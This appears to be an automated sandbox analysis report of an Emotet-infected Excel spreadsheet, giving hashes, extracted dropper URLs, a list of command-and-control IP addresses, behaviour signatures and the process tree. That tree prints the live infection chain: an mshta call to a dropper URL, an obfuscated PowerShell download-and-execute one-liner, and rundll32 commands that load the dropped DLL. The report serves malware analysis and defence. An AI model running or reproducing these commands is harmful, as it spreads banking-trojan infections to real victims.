emotet | 44c8ec7d3b04cf385bfb95fac49bd03c4faa007c199c580e4b37e2a2d670b078

Analysis

max time kernel
121s
max time network
156s
platform
windows10_x64
resource
win10-en-20211208
submitted
28/01/2022, 19:11

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
tmpm85ypjlp.xls
Size 89KB
Sample220128-xvxyeabbgp
SHA256 44c8ec7d3b04cf385bfb95fac49bd03c4faa007c199c580e4b37e2a2d670b078
MD5 15b072b9fa8bc5bd87446e99904a334d
SHA1 73a57e24a7ff5f68d7200ae97695053209064e04
SHA512 966bcfe956e9e585c1a51229fd0da900aae30519b2eeb0de1663916ae449bf697b1de2f34b6fe363553dfb3675c166419a449fb5db54464576bb3ec5bf0c3b8d
MD5 SHA1 SHA512

Score

10^/10

emotet epoch5 banker suricata trojan

Malware Config

Extracted

Language

Source

URLs

hta.dropper
http://91.240.118.172/ee/ss/se.html

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://91.240.118.172/ee/ss/se.png

Extracted

Family

emotet

Botnet

Epoch5

74.207.230.120:8080
139.196.72.155:8080
37.44.244.177:8080
37.59.209.141:8080
116.124.128.206:8080
217.182.143.207:443
54.37.228.122:443
203.153.216.46:443
168.197.250.14:80
207.148.81.119:8080
195.154.146.35:443
78.46.73.125:443
191.252.103.16:80
210.57.209.142:8080
185.168.130.138:443
142.4.219.173:8080
118.98.72.86:443
78.47.204.80:443
159.69.237.188:443
190.90.233.66:443
104.131.62.48:8080
62.171.178.147:8080
185.148.168.15:8080
54.38.242.185:443
198.199.98.78:8080
194.9.172.107:8080
85.214.67.203:8080
66.42.57.149:443
185.148.168.220:8080
103.41.204.169:8080
128.199.192.135:8080
195.77.239.39:8080
59.148.253.194:443

eck1.plain

ecs1.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	2164	3448	cmd.exe	68

suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata

Blocklisted process makes network request 5 IoCs

flow	pid	Process
41	4064	mshta.exe
44	1772	powershell.exe
46	1772	powershell.exe
54	3820	rundll32.exe
55	3820	rundll32.exe

Downloads MZ/PE file

Loads dropped DLL 2 IoCs

pid	Process
2120	rundll32.exe
4052	rundll32.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\Zwioso\hlfxjniqidcvfs.cza	rundll32.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
2768	4064	WerFault.exe	75

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
3448	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 19 IoCs

pid	Process
1772	powershell.exe
1772	powershell.exe
2768	WerFault.exe
2768	WerFault.exe
2768	WerFault.exe
2768	WerFault.exe
2768	WerFault.exe
2768	WerFault.exe
2768	WerFault.exe
2768	WerFault.exe
2768	WerFault.exe
2768	WerFault.exe
2768	WerFault.exe
2768	WerFault.exe
2768	WerFault.exe
2768	WerFault.exe
1772	powershell.exe
3820	rundll32.exe
3820	rundll32.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	1772	powershell.exe
Token: SeDebugPrivilege	2768	WerFault.exe

Suspicious use of SetWindowsHookEx 24 IoCs

pid	Process
3448	EXCEL.EXE
3448	EXCEL.EXE
3448	EXCEL.EXE
3448	EXCEL.EXE
3448	EXCEL.EXE
3448	EXCEL.EXE
3448	EXCEL.EXE
3448	EXCEL.EXE
3448	EXCEL.EXE
3448	EXCEL.EXE
3448	EXCEL.EXE
3448	EXCEL.EXE
3448	EXCEL.EXE
3448	EXCEL.EXE
3448	EXCEL.EXE
3448	EXCEL.EXE
3448	EXCEL.EXE
3448	EXCEL.EXE
3448	EXCEL.EXE
3448	EXCEL.EXE
3448	EXCEL.EXE
3448	EXCEL.EXE
3448	EXCEL.EXE
3448	EXCEL.EXE

Suspicious use of WriteProcessMemory 24 IoCs

description	pid	Process	procid_target
PID 3448 wrote to memory of 2164	3448	EXCEL.EXE	71
PID 3448 wrote to memory of 2164	3448	EXCEL.EXE	71
PID 2164 wrote to memory of 2456	2164	cmd.exe	73
PID 2164 wrote to memory of 2456	2164	cmd.exe	73
PID 2164 wrote to memory of 2176	2164	cmd.exe	74
PID 2164 wrote to memory of 2176	2164	cmd.exe	74
PID 2176 wrote to memory of 4064	2176	cmd.exe	75
PID 2176 wrote to memory of 4064	2176	cmd.exe	75
PID 4064 wrote to memory of 1772	4064	mshta.exe	77
PID 4064 wrote to memory of 1772	4064	mshta.exe	77
PID 1772 wrote to memory of 1728	1772	powershell.exe	80
PID 1772 wrote to memory of 1728	1772	powershell.exe	80
PID 1728 wrote to memory of 2120	1728	cmd.exe	81
PID 1728 wrote to memory of 2120	1728	cmd.exe	81
PID 1728 wrote to memory of 2120	1728	cmd.exe	81
PID 2120 wrote to memory of 4052	2120	rundll32.exe	82
PID 2120 wrote to memory of 4052	2120	rundll32.exe	82
PID 2120 wrote to memory of 4052	2120	rundll32.exe	82
PID 4052 wrote to memory of 1468	4052	rundll32.exe	83
PID 4052 wrote to memory of 1468	4052	rundll32.exe	83
PID 4052 wrote to memory of 1468	4052	rundll32.exe	83
PID 1468 wrote to memory of 3820	1468	rundll32.exe	84
PID 1468 wrote to memory of 3820	1468	rundll32.exe	84
PID 1468 wrote to memory of 3820	1468	rundll32.exe	84

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\tmpm85ypjlp.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3448
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c set ooo=mshta http://91.240.118.172/ee/ss/se.html & echo %ooo% | cmd
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:2164
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo %ooo% "
    3⤵
    PID:2456
- - C:\Windows\system32\cmd.exe
    cmd
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2176
  - - C:\Windows\system32\mshta.exe
      mshta http://91.240.118.172/ee/ss/se.html
      4⤵
      Blocklisted process makes network request
      Suspicious use of WriteProcessMemory
      PID:4064
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({FutuReD}{FutuReD}Ne{FutuReD}{FutuReD}w{FutuReD}-Obj{FutuReD}ec{FutuReD}{FutuReD}t N{FutuReD}{FutuReD}et{FutuReD}.W{FutuReD}{FutuReD}e'.replace('{FutuReD}', ''); $c4='bC{FutuReD}li{FutuReD}{FutuReD}en{FutuReD}{FutuReD}t).D{FutuReD}{FutuReD}ow{FutuReD}{FutuReD}nl{FutuReD}{FutuReD}{FutuReD}o'.replace('{FutuReD}', ''); $c3='ad{FutuReD}{FutuReD}St{FutuReD}rin{FutuReD}{FutuReD}g{FutuReD}(''ht{FutuReD}tp{FutuReD}://91.240.118.172/ee/ss/se.png'')'.replace('{FutuReD}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
        5⤵
        Blocklisted process makes network request
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:1772
      - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\ProgramData\Milossd.dll,KitKat
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:1728
        
        C:\Windows\SysWow64\rundll32.exe
        
        C:\Windows\SysWow64\rundll32.exe C:\ProgramData\Milossd.dll,KitKat
        7⤵
        Loads dropped DLL
        Suspicious use of WriteProcessMemory
        
        PID:2120
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\ProgramData\Milossd.dll",DllRegisterServer
        8⤵
        Loads dropped DLL
        Drops file in System32 directory
        Suspicious use of WriteProcessMemory
        
        PID:4052
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Zwioso\hlfxjniqidcvfs.cza",cRXbFKtoran
        9⤵
        Suspicious use of WriteProcessMemory
        
        PID:1468
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Zwioso\hlfxjniqidcvfs.cza",DllRegisterServer
        10⤵
        Blocklisted process makes network request
        Suspicious behavior: EnumeratesProcesses
        
        PID:3820
    - - C:\Windows\system32\WerFault.exe
        
        C:\Windows\system32\WerFault.exe -u -p 4064 -s 1836
        5⤵
        Program crash
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2768

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/1468-608-0x0000000004630000-0x0000000004657000-memory.dmp

Download

memory/1772-270-0x000001DFE0800000-0x000001DFE09B2000-memory.dmp

Download

memory/1772-302-0x000001DFF9260000-0x000001DFF92D6000-memory.dmp

Download

memory/1772-368-0x000001DFE0800000-0x000001DFE09B2000-memory.dmp

Download

memory/1772-271-0x000001DFE0800000-0x000001DFE09B2000-memory.dmp

Download

memory/1772-272-0x000001DFF8B60000-0x000001DFF8B82000-memory.dmp

Download

memory/1772-291-0x000001DFF8DE0000-0x000001DFF8E1C000-memory.dmp

Download

memory/2120-590-0x0000000003570000-0x0000000003597000-memory.dmp

Download

memory/3448-116-0x00007FF9FB330000-0x00007FF9FB340000-memory.dmp

Download

memory/3448-128-0x00007FF9F7A00000-0x00007FF9F7A10000-memory.dmp

Download

memory/3448-121-0x00007FF9FB330000-0x00007FF9FB340000-memory.dmp

Download

memory/3448-118-0x00007FF9FB330000-0x00007FF9FB340000-memory.dmp

Download

memory/3448-129-0x00007FF9F7A00000-0x00007FF9F7A10000-memory.dmp

Download

memory/3448-117-0x00007FF9FB330000-0x00007FF9FB340000-memory.dmp

Download

memory/3448-648-0x00007FF9FB330000-0x00007FF9FB340000-memory.dmp

Download

memory/3448-647-0x00007FF9FB330000-0x00007FF9FB340000-memory.dmp

Download

memory/3448-646-0x00007FF9FB330000-0x00007FF9FB340000-memory.dmp

Download

memory/3448-645-0x00007FF9FB330000-0x00007FF9FB340000-memory.dmp

Download

memory/3448-115-0x00007FF9FB330000-0x00007FF9FB340000-memory.dmp

Download

memory/3820-609-0x00000000029E0000-0x0000000002A07000-memory.dmp

Download

memory/4052-606-0x00000000058A0000-0x00000000058C7000-memory.dmp

Download

memory/4052-604-0x00000000056E0000-0x0000000005707000-memory.dmp

Download

memory/4052-600-0x0000000005520000-0x0000000005547000-memory.dmp

Download

memory/4052-598-0x0000000005440000-0x0000000005467000-memory.dmp

Download

memory/4052-596-0x0000000005330000-0x0000000005357000-memory.dmp

Download

memory/4052-593-0x0000000004E10000-0x0000000004E37000-memory.dmp

Download